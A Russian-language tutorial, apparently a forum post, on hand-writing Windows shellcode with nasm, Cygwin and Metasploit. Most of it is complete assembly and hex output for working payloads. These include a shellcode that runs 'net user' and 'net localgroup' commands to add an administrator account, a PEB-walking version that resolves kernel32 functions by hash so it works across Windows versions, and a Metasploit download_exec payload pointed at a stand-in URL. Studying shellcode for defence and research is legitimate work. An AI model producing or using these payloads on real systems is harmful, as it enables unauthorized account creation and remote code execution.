В этой статье речь пойдет о написании простого шеллкода под Windows платформу. Статья является начальным этапом цикла статей, которые я, опираясь на материалы и труды зарубежных специалистов в данной области, планирую написать.
Эта статья не насыщена всеобъемлющей информацией, однако её цель - предоставить четкое представление о работе шеллкода и его написании. Надеюсь у меня это получится.
Шеллкод(shell code) - изначальное название получил благодаря совим первым действиям - запускал оболучку sh(shell) в Unix-системах. На данный момент это название лишь дань традиции, а действия шеллкодов ограничены лишь фантазией их создателя и областью исполняемого кода в уязвимой программе. Говоря простым языком, шеллкод - это набор опкодов(инструкций ассемблера, вида \xDD\xDD\xDD), который помещается в память уязвимой программы, и выполняет свои действия при передаче на него управления.
Если смотреть на уровне абстрацкий и ассоциаций, то шеллкод можно представить, как пулю выпущенную из пускового механизма(эксплойта), и влекущую за собой какие-либо действия, в зависимости от того, разрывная ли пуля, парализующая или со смещнным центром тяжести =)
Каждый волен думать, как ему угодно и удобней всего, но принцип работы представлять нужно. Так что, начнем знакомство.
Для начала немного теории в виде вопрос
[Q]-ответ
[A]:
[Q] Каковы различия между Windows и Linux шеллкодами?
[A] Linux, в отличии от Windows, обеспечивает прямой доступ для взаимодействия с ядром системы через интерфейс системных вызовов Int 0x80.
Полную таблицу системных вызовов Linux можно найти на
http://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html.
Windows наоборот, не имеет прямого интерфейса для работы с ядром. Система работает благодаря загрузке в память адресов WinAPI функций необходимых для её работы, которые выполняются из системных библиотек DLL(Dynamic Link Library).
Основным различием этих двух ОС является то, что в Windows адреса функций могут менятся от версии к версии, в то время как номера вызовов в Int 0x80 Linux остаются постоянно неизменными.
[Q] Как определить адрес необходимой функций в Windows, если они меняються от версии к версии?
[A] Есть несколько способов найти адрес функции, которую необходимо использовать. Мы рассмотрим два из них: использование жесткой адрессации фвызываемых функций, т.е. под конкретно заданную верси'ю(и) системы, и поиск адреса функций во время выполнения программы(динамический).
Библиотека(DLL), которая гарантированно будет использоваться при создании любого шеллкода - kernel32.dll.
В ней содержатся адреса двух важных функций: LoadLibrary() и GetProcAdress(), которые будут подключать другие необходимые для шеллкода функции по названию DLL по адресу в ней. Такой подход имеет большой недостаток: из-за возможных смещений адресов фунций в различных версиях Windows(сервис паки, патчи, язык, и т.д.), шеллкод будет работать только на какой-либо заведомо известной версии, либо версиях с одинаковой адресацией необходимых функций.
При динамическом поиске, мы пишем шеллкод, который сам сможет найти адреса используемых им функций в системе, поэтому такой шеллкод будет универсален для разных версий Windows.
Создим рабочую среду.
В статье речь пойдет о создании шеллкода для Windows, но работать будем из под эмулятора nix-систем Cygwin, т.к. для написания шеллкодов под Linux создано много хороших иснрументов, и одновременно с этим Cygwin предоставит прямой доступ к библиотекам Windows.
Скачать установочный файл Cygwin можно тут:
http://www.cygwin.com/setup.exe
Во время установки будет предложен выбор необходимых пакетов, которые вы можете установить. Для разработки и создания шеллкода отлично подойдут:
- Devel -> Binutils (содержит ld или objdump)
- Devel -> gcc
- Devel -> make
- Devel -> nasm
- Devel -> gdb
- Editors -> hexedit
- Net -> netcat
- System -> util-linux
Из сторонних разработок, облегчающих создание шеллкода мы будем использовать:
- [url="http://www.projectshellcode.com/downloads/xxd-shellcode.sh]Xxd-shellcode.sh[/url]
Парсит результат xxd-утилиты для создания raw-шеллкода(делает дамп и добавляет к каждому из значений \x). Для работы требуется наличие nix-программы xdd. У меня её не оказалось, поэтому я заменил её perl-скриптом от Peter N Lewis, который слегка модифицировал для подходящего результата.
- [url="http://www.projectshellcode.com/downloads/arwin.c]Arwin.c[/url]
Находит адрес необходимой функции по её названию и названию библиотеки в которой она находится.
- [url="http://www.projectshellcode.com/downloads/findFunctionInDLL.sh]FindFunctionInDLL.sh[/url]
Скрипт-надстройка для Arwin.exe, который не требует названия библиотеки в которой находится искомый адрес функции. Достаточно будет задать лишь имя функции.
- [url="http://www.projectshellcode.com/downloads/shellcodetest.c]shellcodetest.c[/url]
Используется как несущий каркас для шеллкода. Представляет собой сишный код с функцией main(). Необходим для компиляции шеллкода и его проверки на работоспособность.
- [url="http://www.metasploit.com/framework/download/]Metasploit Framework >=3.3[/url]
Фрэймворк для разработки, тестирования и создания эксплойтов. Начиная с версии 3.3 в MsF интегрирован Cygwin(\Metasploit\Framework3\shell.bat), который я буду использовать при дальнейшем описании. Данный Cygwin не включает в себя компилятор gcc, поэтому я заменил его аналогом под Windows платформу - lcc-win32.
- [url="http://www.q-software-solutions.de/pub/lccwin32.exe]lcc-win32[/url]
- [url="http://www.ollydbg.de]OllyDbg[/url] >=1.10
Быстрый и удобный отладчик программ, или его аналог [url="http://www.immunityinc.com]Immunity Debugger[/url].
Теперь можно приступить к созданию шеллкода.
Для начала поместим все необходимые программы в рабочую папку Cygwin'a. У меня эта папка C:\Program Files\Metasploit\Framework3\home\r00t\Tutor\. Все программы, которые будут задействованы через консоль bash хранятся в этой папке. Это не обязательно, но избавляет от мелких неудобств с постоянным вводом путей.
Начнем с самого простого - вызов функции. Для примера возьмем функцию Sleep(), которая остановит выполнение программы на 5 секунд, благодаря чему можно будет определить выполнился ли шеллкод.
[Q] Как найти адресс функции в Windows DLL?
[A] В ассемблере, для вызова функций используется инструкция "call 0xXXXXXXXX", где XXXXXXXX адрес функции в памяти, и нам требуется его найти. Для поиска мы воспользуемся программой arwin.exe, запустив которую увидим:
Адрес рисунка: http://s49.radikal.ru/i125/1103/41/b8e6ac76e304.jpg
Таким образом, чтобы использовать arwin для поиска нам необходимо знать название DLL, которая содержит искомую функцию. В данном случае функцию Sleep().
Самыми частоиспользуемыми являются функции из библиотек kernel32.dll, user32.dll и ws2_32.dll, и их использование зависит от конечной цели шеллкода.
Так как мы не знаем в какой из библиотек находится функция Sleep(), воспользуемся скриптом-надстройкой Arwin'a findFunctionInDLL.sh:
Код:
#!/bin/bash
if [ $# -ne 1 ]
then
printf "\n\tUsage: $0 functionname\n\n"
exit
fi
functionname=$1
searchDir="/cygdrive/c/WINDOWS/system32"
arwin_exe="`pwd`/arwin.exe"
cd $searchDir
ls -1d *.dll | grep -v gui | while read dll
do
printf "\r ";
printf "\r$dll";
count=0
count=`$arwin_exe $dll $functionname | grep -c "is located at"`
if [ $count -ne 0 ]
then
printf "\n";
$arwin_exe $dll $functionname | grep "is located at"
printf "\n";
fi
done
printf "\r ";
Теперь мы можем, воспользовавшись этим скриптом, найти адресс функции Sleep() и заодно название библиотеки в которой она хранится:
Адрес рисунка: http://s52.radikal.ru/i136/1103/34/959d5731b5b5.jpgОбращаю внимае на то, что название функции прописывается с большой буквы.
Этот поиск занимает некоторое время, так что если вам заведомо известно название dll, в которой хранится искомая функция, вы можете использовать arwin.exe:
Адрес рисунка: http://s009.radikal.ru/i309/1103/ad/7e072a345576.jpgАдрес, который получился у меня может отличаться от вашего в зависимости от версии операционной системы и установленных сервис паков.
Я использую Windows XP SP3 RUS, а это значит что шеллкод будет работать на ней, и, возможно, ещё на нескольких видах XP, в которых адреса этой функции совпадают с нашими. Это и есть тот основной недостаток метода с жесткой адресацией. Более совершенный метод будет описан ниже.
Теперь приступим к написанию кода использующего функцию Sleep(). Писать, конечно же, будем на ассемблере. Вот этот код:
Код:
;sleep.asm
[SECTION .text]
; Устанавливает 32-хбитность
; Совет: Если эта запись отсутствует в более сложных шеллкодах, то результат их работы может быть не совсем корректен.
BITS 32
global _start
_start:
; очищаем EAX регистр
xor eax,eax
; помещаем адресс функции Sleep() полученный из arwin.exe в регистр EBX"
mov ebx, 0x7c802442
; устанавливаем значение для паузы в 5000 мсек поместив значение в регистр ax (8 битный EAX регистр)
mov ax, 5000
; помещаем EAX в стек в качестве первого параметра функции Sleep(), т.к. при вызове функции её параметры берутся из стека.
push eax
; вызываем функцию Sleep() по адресу находящемуся в EBX
call ebx
Помещаем этот код в файл sleep.asm.
Это и есть наш шеллкод в ассемблерном представлении, который мы должны скомпилировать для дальнейшего получения шестнадцатиричного дампа. Это может быть сделано при помощи компилятора nasm следующим образом:
Адрес рисунка: http://i046.radikal.ru/1103/8a/1c7cccdbd5a1.jpgТеперь, когда у нас есть бинарный файл мы можем использовать программу для снятия hex-дампа с помощью скрипта xxd-shellcode.sh, который является надстройкой к nix-программе xxd. Вот его код:
Код:
#!/bin/bash
if [ $# -ne 1 ]
then
printf "\n\tUsage: $0 filename.bin\n\n"
exit
fi
filename=`echo $1 | sed s/"\.bin$"//`
rm -f $filename.shellcode
for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
do
echo -n "\\$i" >> $filename.shellcode
echo -n "\\$i"
done
echo
Для запуска достаточно написать: ./xxd-shellcode.sh sleep.bin и вы получите готовый шеллкод.
У меня под рукой xxd не оказалось, и я воспользовался перловым сценарием от Peter N Lewis, который был мной слегка модифицирован для получения необходимого результата:
Код:
#!/usr/bin/perl
# Written by Peter N Lewis a long time ago
# Released in to the Public Domain
# modified version.
use strict;
use warnings;
usage() if $ARGV[0] and $ARGV[0] =~ m!^-[^-]!;
our $filepos = 0;
our $linechars = '';
foreach (@ARGV) {
if ($_ eq "-") {
binmode STDIN;
*FILE = *STDIN;
}
else {
open FILE, '<:raw', $_ or die "no such file $_";
}
while (<FILE>) {
dump_char($_) foreach split(//);
}
dump_char( ' ', 1 ) while length($linechars) != 0;
close FILE;
}
sub dump_char {
my ( $char, $blank ) = @_;
if ( $blank ) {
print ' ';
} else {
printf( "\\x%x", ord($char) );
}
}
sub usage {
print STDERR <<EOM;
Usage: hdump.pl [file]...
Example `hdump.pl .cshrc' or `ls -l | hdump.pl'
EOM
exit( 0 );
}
Запускаем и смотрим:
Адрес рисунка: http://s58.radikal.ru/i161/1103/1e/e030ab068b52.jpgПолучили шеллкод: "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3"; и теперь его надо протестировать. Необходимо поместить его в тестовый сишный каркас, и скомпилировать в .exe. Для таких целей у нас есть специальный код shellcodetest.c:
Код:
/*shellcodetest.c*/
char code[] = "сюда вставляем получившийся шеллкод"; /*должно быть так "char code[] = "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3""*/
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
Вставив получившийся у нас шеллкод функции Sleep() в shellcodetest.c, компилируем её с помощью gcc: gcc -o shellcodetest shellcodetest.c
Я воспользуюсь аналогом gcc lcc-win32 и ввожу следующие команды:
Код:
cmd\>lcc.exe "C:\Program Files\Metasploit\Framework3\home\r00t\Tutor\shellcodetest.c"
cmd\>lcclnk.exe shellcodetest.obj
В итоге получаем shellcode.exe. Запускаем и проверяем:
По истечении 5-тисекундной паузы появится мэсэджбокс, и нажав ОК программа завершиться аварийно, выдав в консоль "abnormal program termination".
Это хороший знак в нашем случае, и шеллкод сработал как ему и пологалось.
Что ж, попробуем усложнить задачу, и напишем шеллкод который будет выполнять команды Windows, например, создаст дополнительную учетную запись администратора.
Также, мы рассмотрим определение и поиск строковых констант, а именно код командной строки, который надо выполнить, и попытаемся "чисто" завершить процесс, не прибегая к аварийному завершению, как это было ранее.
Наша основная цель - найти командную строку и выполнить её код с помощью функции WinExec, тем самым создав новую учетную запись администратора.
[Q] Какие функции нам сейчас понадобятся, и где их искать?
[A] Для запуска процесса выполняющего наши команды в системах Windows необходимо вызвать функцию WinExec, а для правильного завершения процесса функцию ExitProcess. Обе эти функции находятся в kernel32.dll. Найдем их адреса с помощью arwin.exe, как было сделано выше:
Адрес рисунка: http://i047.radikal.ru/1103/67/418c27449477.jpgОпределение и поиск строковых констант.
Строковая констата, которую мы будем помещать в наш шеллкод, должна выглядеть так:
cmd.exe /c net user PSUser Passwd /ADD && net localgroup Администраторы /ADD User
где PSUser и Passwd - имя и пароль нового администратора. Не забудьте заранее просмотреть свои группы пользователей и вписать название нужной. Следующий код показывает, как будет определена данная строка в конце кода шеллкода, и её вызов.
Код вызова следующий:
Код:
jmp short GetCommand ;Перейти на код метки GetCommand, под которой будет размещена строковая константа с кодом командной строки.
CommandReturn: ;Создает метку на которую нужно вернуться после выполнения GetCommand
pop ebx ; выталкивает нашу команду из стека. Завершение.
Код выполнения следующий:
Код:
GetCommand: ;Создаем метку
call CommandReturn
db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User" ;записывает байткод данной командной строки
db 0x00 ;Отрубить символ конца строки
Теперь напишем весь код adduser.asm. Не забудьте заменить адреса функций WinExec и ExitProcess на получившиеся у вас значения.
Код:
;adduser.asm
[Section .text]
BITS 32
global _start
_start:
jmp short GetCommand ;Перейти на код метки GetCommand, под которой будет размещёна строковая константа с кодом командной строки.
CommandReturn: ;Определяем метку вызова помещения адреса командной строки в стек
pop ebx ;ebx теперь указывает на командную строку
xor eax,eax ;очистили EAX
push eax ;помещаем в стек значение регистра EAX
push ebx ;помещаем в стек значение регистра EBX, т.е. код командной строки
mov ebx,0x7c8623ad ;помещаем в EBX адрес вызова функции WinExec
call ebx ;вызываем EBX (WinExec)
xor eax,eax ;сново очищаем EAX
push eax ;помещаем EAX в стек
mov ebx, 0x7c81cafa ;помещаем в EBX адрес функции ExitProcess
call ebx ;Вызываем ExitProcess;
GetCommand: ;Создаем метку
call CommandReturn
db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User" ;записывает байткод данной командной строки
db 0x00 ;Отрубить символ конца строки
Сохраняем этот код в adduser.asm и компилируем: nasm -f bin -o adduser.bin adduser.asm
Получили бинарник нашего шеллкода adduser.bin, который надо привести в нормальный вид(снять его шестнадцатиричный дамп) при помощи программы xxd( xxd -i adduser.bin) или xxd-shellcode(./xxd-shellcode.sh adduser.bin).
Я же воспользуюсь перловым скриптом hc.pl:
Адрес рисунка: http://s39.radikal.ru/i083/1103/52/2d5f4744f95e.jpgТеперь остается протестировать данный шеллкод, повторив действия с компиляцией shellcodetest.c описанные ранее. Получив exe-шник запустим его и проверим создалась ли учетная запись:
Адрес рисунка: http://s015.radikal.ru/i331/1103/16/e1947083cc76.jpg Как видно, шеллкод сработал.
Не забудьте удалить новоиспеченную учетную запись в целях безопасности командой: net user PSUser /delete
Замечу, что получение и тестирование шеллкода мы рассматриваем в развернутом виде. Есть и более простые и быстрые способы, но они не столь прозрачны.
Динамический шеллкод.
Вот мы и подошли ко второму способу написания шеллкода, а именно - динамическому поиску. В отличии от шеллкода с жестко заданными адресами функций, который работатет только под определенной версией Windows, этот шеллкод будет работать под разными версиями путем самостоятельного нахождения адресов по заданым в нём хэшам имен функций необходимых для выполнения кода. Способ универсален, но из-за этого шеллкод набирает в весе, что, как вам может быть известно, не всегда хорошо сказывается на его работоспособности и применимости.
Для того чтобы шеллкод мог искать имена функций, нам необходимо вписать в него шестнадцатиричные хэши этих имен, после чего мы вставим их в поисковый код шеллкода. Этот код будет высчитывать и перебирать хэши имен всех функций находящихся в библиотек dll, и сравнивать их значения с искомыми, заданными в шеллкоде.
Рассмотрим этот порцесс детальнее на примере, но для начала составим программу генерирующую хэши имен искомых функций.
hash-generator.asm
Код:
;hash-generator.asm
[SECTION .text]
BITS 32
global _start
_start:
jmp start_asm
;Определяем функции
;функция: get_current_address
get_current_address:
push 0 ;создать область в стеке
push eax ;поместить значение eax в стек
mov eax, [esp+8] ;копировать адрес возврата в eax
mov dword [esp+4], eax ;поместить адрес возврата в область результатов
pop eax ;восстановить первоначальное значение eax
ret ;вернуться к инструкции вызвавшей функцию
;Конец функции: get_current_address
;Функция: compute_hash
compute_hash:
push 0 ;создать случайную область в стеке
pushad ;sсохранить текущие значения регистров в стеке
mov eax, [esp+36] ;копировать адрес возврата в eax
mov dword [esp+32], eax ;;поместить адрес возврата в область результатов
xor edi, edi ;обнулить edi. В нём буду тхраниться хэш-значения имен функций
xor eax, eax ;обнулить eax
cld
compute_hash_again: ;функция высчитывающая хэш-имя функции
lodsb ;поместить текущий символ в eax
test al, al ;проверяет ноль в конце строки
jz compute_hash_finished
ror edi, 0xd ;
add edi, eax ;добавить текущий символ к хэшу
jmp compute_hash_again
compute_hash_finished: ;конец функции
;в edi находяться хэши в обратном порядке
mov edx, edi ;поместить хэши в edx
reverse_next_hash_section: ;функция переворота хэшей
mov al, dl ;поместить первые 8 бит в регистр al
shr edx, 8 ;сдвинуть EDX вправо для следующих 8 бит хэша
test dl, dl ;проверка на ноль - завершение переворота хэша
jz reverse_hash_finished ;если ноль, вызвать функцию завершения переоворота хэшей
shl eax, 8 ;сдвинуть eax влево на 8 бит, для следующей секции хэша
jmp short reverse_next_hash_section ;вернуться назад на переход к следующему разделу
reverse_hash_finished: ;полный хэш находиться сейчас в eax в верном порядке
mov dword [esp+36], eax ;поместить возвращаемое значение в возвращаемое место
popad ;восстановить исходные значения регистров
ret ;вернуть к инструкции вызвавшей функцию
;конец функции: compute_hash
;Определение констант
locate_constants: ;метка начала констант
call get_current_address ;определить текущее местоположение в памяти
pop esi ;указатель на функцию содержащую строки
add esi, 9 ;поместить в esi указатель на команду
jmp short locate_constants_return ;вернуться к главному коду
;создаем строки с названиями функций
db "LoadLibraryA" ;значение хэша = 0x8e4e0eec
db 0x00
db "WriteFile" ;значение хэша = 0x1f790ae8
db 0x00
db "CloseHandle" ;значение хэша = 0xfb97fd0f
db 0x00
db "Sleep" ;значение хэша = 0xb0492ddb
db 0x00
db "ReadFile" ;значение хэша = 0x1665fa10
db 0x00
db "GetStdHandle" ;значение хэша = 0x23d88774
db 0x00
db "CreatePipe" ;значение хэша = 0x808f0c17
db 0x00
db "SetHandleInformation" ;значение хэша = 0x44119e7f
db 0x00
db "WinExec" ;rзначение хэша = 0x98FE8A0E
db 0x00
db "ExitProcess" ;значение хэша = 0x7ED8E273
db 0x00
;указатель конца списка
db 0x00
;Конец блока определения констатнт
start_asm:
int 3 ;прерывание указывающее на старт программы
int 3 ;второе прерывание(брекпойнт) здесь только для демонстрации в отладчике
jmp locate_constants ;найти местоположение констант
locate_constants_return: ;определить куда вернуть после
next_hash: ;начало цикла для следуещего хэша
push esi ;поместить значение esi в качестве параметра функции compute_hash function
call compute_hash ;compute_hash(строка из esi)
;результат находиться в первой строке стека
int 3 ;остановить отладчик после генерации каждого хэша, для демонстрации работы программы
int 3 ;демонстраця
xor eax,eax ;очистить eax
check_null: ;помещается указатель на название следующей функции
lodsb ;помещаеться текущий символ в eax
test al,al ;проверка на ноль
jz is_null ;если ноль, значит конец строки
jmp short check_null ;вернуться назад и проверить следующий символ
is_null:
lodsb ;поместить текущий символ в eax
dec esi ;переметиться назад на одну позицию
test al,al ;проверяем на ноль
jnz next_hash ;два нуля означают конец, иначе перейти к следующему хэшу
end:
int 3 ;демонстрация списка хэшей в стеке.
int 3 ;остановить отладчик
int 3 ;для вида
Сохраните этот исходник в рабочей папке под названием hash-generator.asm, и скомпелируйте его:
nasm -f bin -o hash-generator.bin hash-generator.asm
Теперь, имея бинарный файл, воспользуемся xxd-shellcode.sh для получения шеллкода, как это было описано выше.
Поместим полученный массив значений в shellcodetest.c и скомпилируем.
Получили exe файл с нашим шеллкодом, и сейчас посмотрим на весь процесс создания хэшей имен функций под отладчиком. Воспользуемся для этих целей OllyDbg'ом или Immunity Debuger'ом.
Запускаем программу и открываем наш shellcodetest.exe.
Адрес рисунка: http://i025.radikal.ru/1103/1f/f4819426ecb7.jpgНа скриншоте изображена рабочая область программы Immunity Debuger(тоже самое, что и OllyDbg). Как видно, изображено четыре области:
-окно процесса выполнения программы. В нем находятся адреса ассемблерных инструкций(первый столбик), шестнадцатиричные представления этих инструкций(второй столбик), сами ассемблерные инструкции(третий столбик), и столбик с комментариями, которые создает отладчик при анализе программы. В этом окне выполняются основные манипуляции влияющие на ход выполнения программы.
-окно состояния регистров. Содержит список регистров процессора и значения которые они содержат. Основная цель это окна - показать, как инструкции влияют на регистры.
-окно стека - позволяет увидеть, что попадает в него, и что выталкивается. Наблюдая за этим процессом не сложно понять принцип работы стека - "Первым пришел, первым вышел".
-окно дампа памяти - позволяет видеть и искать необходимые байты в памяти.
-кнопка F9(Run) - запускает автоматическое выполнение кода программы.
-кнопка F7(Step into) - пошаговое выполнение кода программы с захождением в функции.
-кнопка F8(Ыеуз over) - пошаговое выполнение кода программы без захождения в функции.
Мы будем использовать только F9. В нашем коде имеются прерывания int3 - это иммитация точек останова(breakpoint), которые будут останавливать процесс выполнения, для того чтобы была возможность обратить внимание на основные моменты.
Адрес рисунка: http://s14.radikal.ru/i187/1103/9d/075e0dce0d24.jpgНа рисунке отмечена первая точка останова. После неё начинается основная часть нашего кода. Если вы хотите посмотреть, что происходит в стеке и регистрах на протяжении процесса выполнения, то можете воспользоваться кнопками F7 и F8.
Вы могли заметить, что в некоторых местах кода, встречаются два идущих подряд int3. Это созданно для того, чтобы продемонстрировать саму процедуру останова из-за int3, а не из-за возможной ошибки.
Перед двумя этими брейкпойнтами находится инструкция "call compute_hash" - вызов функции, которая вычисляет хэш и помещает его в стек. В данном случае хэш первой функции LoadLibraryA равен 8E4E0EEC.
Продолжая нажимать F9, можно наблюдать за тем, как хэши по очереди ложаться в стек, до самого конца списка функций.
Адрес рисунка: http://s007.radikal.ru/i300/1103/3c/7232b70a78e2.jpgДумаю, принцип нахождения хэшей более-менее понятен.
Теперь применим его на предыдущем нашем шеллкоде с жестко заданными адресами, и тем самым сделаем его переносимым на большее количество версий Windows.
В шеллкоде создающем учетную запись мы использовали две системные функции: WinExec() и ExitProcess(). Сейчас мы уже имеем хэши этих функций, и знаем как их связать с константами содержащими их реальные названия:
Код:
;определение констант
locate_hashes:
call locate_hashes_return
;WinExec ;хэш = 0x98FE8A0E
db 0x98
db 0xFE
db 0x8A
db 0x0E
;ExitProcess ;хэш = 0x7ED8E273
db 0x7E
db 0xD8
db 0xE2
db 0x73
;конец определения констант
Но для начала нам необходимо найти в памяти системную библиотек содержащую эти функции - kernel32.dll. Она всегда загружается вместе с Windows и рамещается в предсказуемой области памяти, поэтому найти её не составит особого труда, после чего мы приступим к поиску адреса нужных нам функции. Это будет происходить путем перебора всех функций входящих в kernel32.dll, вычислением их хэшей, и сравнением этих хэшей с двумя нашими(от функций winexec() и exitprocess()).
Код шеллкода adduser-dynamic.asm:
Код:
;adduser-dynamic.asm
[SECTION .text]
BITS 32
global _start
_start:
jmp start_asm
;Определяем функции
;Функция поиска kernel32.dll в памяти : find_kernel32
;тут находятся приблизительные адреса памяти для различных систем Windows
find_kernel32:
push esi
xor eax, eax
mov eax, [fs:eax+0x30]
test eax, eax
js find_kernel32_9x
find_kernel32_nt:
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov eax, [eax + 0x8]
jmp find_kernel32_finished
find_kernel32_9x:
mov eax, [eax + 0x34]
lea eax, [eax + 0x7c]
mov eax, [eax + 0x3c]
find_kernel32_finished:
pop esi
ret
;Конец функции поиска: find_kernel32
;Поиск функций в kernel32: find_function
find_function:
pushad
mov ebp, [esp + 0x24]
mov eax, [ebp + 0x3c]
mov edx, [ebp + eax + 0x78]
add edx, ebp
mov ecx, [edx + 0x18]
mov ebx, [edx + 0x20]
add ebx, ebp
find_function_loop:
jecxz find_function_finished
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp ;esi содержит название текущей функции
; начинаем вычислять её хэш
compute_hash:
xor edi, edi ; обнуляем edi для хранения результатов вычислений
xor eax, eax ;обнуляем eax для хранения символов имен функций
cld
compute_hash_again:
lodsb ;помещаем текущий символ в eax
test al, al ; проверяем на наличие ноля - знак конца строки
;как только появился ноль, начинаем вычисление
jz compute_hash_finished
ror edi, 0xd
add edi, eax
jmp compute_hash_again
compute_hash_finished: ; конец функции вычилсения
find_function_compare:
;сравнение полученного при вычислении хэша с хэшами нужным нам функций которые мы указали
cmp edi, [esp + 0x28]
jnz find_function_loop
mov ebx, [edx + 0x24]
add ebx, ebp
mov cx, [ebx + 2 * ecx]
mov ebx, [edx + 0x1c]
add ebx, ebp
mov eax, [ebx + 4 * ecx]
add eax, ebp
mov [esp + 0x1c], eax
find_function_finished:
popad
ret
;Конец функции: find_function
;Функция: resolve_symbols_for_dll
resolve_symbols_for_dll:
;помещаем текущий хэш(на который указывает esi) в eax
lodsd
push eax
push edx
call find_function
mov [edi], eax
add esp, 0x08
add edi, 0x04
cmp esi, ecx
jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
ret
;Конец функции: resolve_symbols_for_dll
;Объявление констатнт
locate_hashes:
call locate_hashes_return
;WinExec ;хэш = 0x98 FE 8A 0E
db 0x98
db 0xFE
db 0x8A
db 0x0E
;ExitProcess ;хэш = 0x7E D8 E2 73
db 0x7E
db 0xD8
db 0xE2
db 0x73
;Конец объявления констатнт
start_asm: ;старт главной программы
sub esp, 0x08 ; выделения места в стеке для адресов функций
mov ebp, esp
call find_kernel32 ;ищем адрес Kernel32.dll
mov edx, eax
jmp short locate_hashes ;найти адрес хэша
locate_hashes_return: ;запомнить адрес возврата
pop esi ;получить адреса констант из стека
lea edi, [ebp + 0x04] ;здесь сохраняем адрес функции
mov ecx, esi
add ecx, 0x08
call resolve_symbols_for_dll
;секция кода для добавления пользователя в систему
jmp short GetCommand
CommandReturn:
pop ebx
xor eax,eax
push eax
push ebx
call [ebp+4] ;вызов WinExec(path,showcode)
xor eax,eax ;обнуляем eax
push eax
call [ebp+8] ;вызов ExitProcess(0);
GetCommand:
call CommandReturn
db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User"
db 0x00
Первая команда(jmp start_asm) вызывает главную подпрограмму(main) шеллкода. Выделяем место в стеке для адресов наших функций. Размер одной функции 4 байта, а т.к. их у нас две, то выделяем 8 байт(sub esp, 0x08). Если ваши будущие шеллкоды будут содержать больше функций, то при подсчете выделяемого для них пространства, помните о том, что исчисление происходит в шестнадцатиричной системе.
После этого следует сохранение кадра стека в ebp, для того, чтобы можно было потом к нему возвратиться, например так:
Код:
call [ebp+4] ;WinExec
call [ebp+8] ;ExitProcess
В нашем шеллкоде присутствует функция find_kernel32, которая помещает адрес kernel32.dll в eax. Мы берем хэши наших функций и вызываем функцию resolve_symbols_for_dll. Эта функция, в свою очередь, использует функцию find_function, которая используя цикл, перебирает названия функций из kernel32, вычисляет хэш и сравнивает с нашими заведомо известными.
Попробуем скомпилировать и проверить на работоспособность. Для этого повторяем шаги описанные выше:
-компилируем .asm код: nasm -f bin -o adduser-dynamic.bin adduser-dynamic.asm
-получаем дамп: ./xxd-shellcode.sh adduser-dynamic.bin
-помещаем его в shellcodetest.c и компилируем:
lcc.exe shellcodetest.c
lcclnk.exe shellcode.obj
-запускаем получившийся .exe и проверяем результат: net user
Если появился пользователь User - все сработало как надо.
Удаляем пользователя из системы: net user User /delete
Вот и все основые принципы работы и написания шеллкода под Windows платформу. Надеюсь, что описал доступно. Однако, чтобы каждый раз не приходилось писать шеллкод самому, существует замечательный фреймворк для разработки и тестирования эксплойтов - Metasploit Framework.
Для работы с MsF существует несколько видов пользовательских интерфейсов. Самые распространенные: веб(msfweb) и консоль(msfconsole).
В веб инерфейсе, запускающемся по адресу
http://127.0.0.1:55555, всё относительно просто, и шеллкод создается в пару-тройку кликов мышкой. Для этого следует пройти в меню "Payloads", и выбрать в появившемся окне интересующий шеллкод. После выбора будет предоставлено окно с настройкой функций шеллкода, а также выбор энкодера и формата вывода шеллкода. Нажав "Generate", фреймворк выдаст нужный шеллкод:
Адрес рисунка: http://i048.radikal.ru/1103/ea/56bad52adaad.jpg
Что насчет консольного варианта, то тут надо поработать руками, и для выбора шеллкода, ввести следующие команды:
show payloads - выведет список доступных шеллкодов
Если хотим получить информацию о шеллкоде, например об "windows/download_exec", пишем:
info payload/windows/download_exec
Адрес рисунка: http://s45.radikal.ru/i109/1103/7c/843529c77a82.jpg
Если хотим использовать:
use payload/windows/download_exec - и сразу же можете смотреть его параметры введя "set ", и нажать два раза Tab. Буквами в верхнем регистре указываются обязательные параметры.
Адрес рисунка: http://s011.radikal.ru/i316/1103/ba/f11801b3b566.jpg
Установив URL в значение
http://site.com/downloadme.exe, генерируем код командой "Generate":
Адрес рисунка: http://s11.radikal.ru/i183/1103/60/495350daa2fa.jpg
На этом введение в написание шеллкодов закончено.
Спасибо за уделенное внимание.
По материалам [url="http://projectshellcode.com/]projectshellcode.com[/url]
© p(eaZ. Vulnes.com 02.2011